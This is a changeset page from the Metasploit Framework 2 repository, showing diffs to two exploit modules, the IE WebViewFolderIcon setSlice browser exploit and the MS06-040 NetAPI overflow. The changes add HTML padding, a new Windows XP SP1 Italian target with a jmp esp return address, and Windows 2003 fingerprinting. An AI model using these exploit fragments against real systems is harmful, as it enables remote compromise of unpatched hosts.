Changeset 4006
- Timestamp:
- 10/01/06 21:10:52 (2 years ago)
- Files:
-
- framework2/trunk/exploits/ie_webview_setslice.pm (modified) (2 diffs)
- framework2/trunk/exploits/netapi_ms06_040.pm (modified) (4 diffs)
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework2/trunk/exploits/ie_webview_setslice.pm
r4004 r4006 150 150 my $diff = int(rand(0xffffff)+4000); 151 151 my $over = 0x7ffffffe - $diff; 152 152 my $html = Pex::Text::AlphaNumText(int(rand(1024))+32); 153 153 my $data = qq# 154 154 <html > … … 187 187 </head > 188 188 <body > 189 Loaded... 189 ${html} 190 190 </body > 191 191 </html > framework2/trunk/exploits/netapi_ms06_040.pm
r3819 r4006 84 84 [ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ], 85 85 [ '(stack) Windows XP SP1 English', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll 86 [ '(stack) Windows XP SP1 Italian', 656, 680, 0x71a37bfb], # jmp esp @ ws2_32.dll (thanks diaul!) 86 87 ], 87 88 … … 143 144 return; 144 145 } 146 145 147 146 148 if ( $target->[0] =~ /Automatic/ ) { … … 152 154 $target = $self->Targets->[2]; 153 155 $self->PrintLine('[*] Detected a Windows XP target'); 154 $self->PrintLine('[*] This will not work on S P2!');155 } 156 elsif ( $smb->PeerNativeOS eq 'Windows 4.0' ) {156 $self->PrintLine('[*] This will not work on Service Pack 2!'); 157 } 158 elsif ( $smb->PeerNativeOS eq 'Windows NT 4.0' ) { 157 159 $target = $self->Targets->[1]; 158 160 $self->PrintLine('[*] Detected a Windows NT 4.0 target'); 159 $self->PrintLine('[*] Please email us with the results!'); 160 } 161 } 162 elsif ( $smb->PeerNativeOS =~ m/Windows Server 2003 (\d+)$/ ) { 163 $self->PrintLine("[*] Detected a Windows 2003 (Build $1 - No Service Pack) target"); 164 $self->PrintLine("[*] This system is not yet supported."); 165 return; 166 } 167 elsif ( $smb->PeerNativeOS =~ m/Windows Server 2003 (\d+) Service Pack (\d+)/ ) { 168 $self->PrintLine("[*] Detected a Windows 2003 (Build $1 - Service Pack $2) target"); 169 $self->PrintLine("[*] This system is probably not exploitable"); 170 return; 171 } 161 172 else { 162 173 $self->PrintLine('[*] No target available for ' . $smb->PeerNativeOS() ); … … 164 175 } 165 176 } 166 177 167 178 # 168 179 # /* Function 0x1f at 0x767e912c */
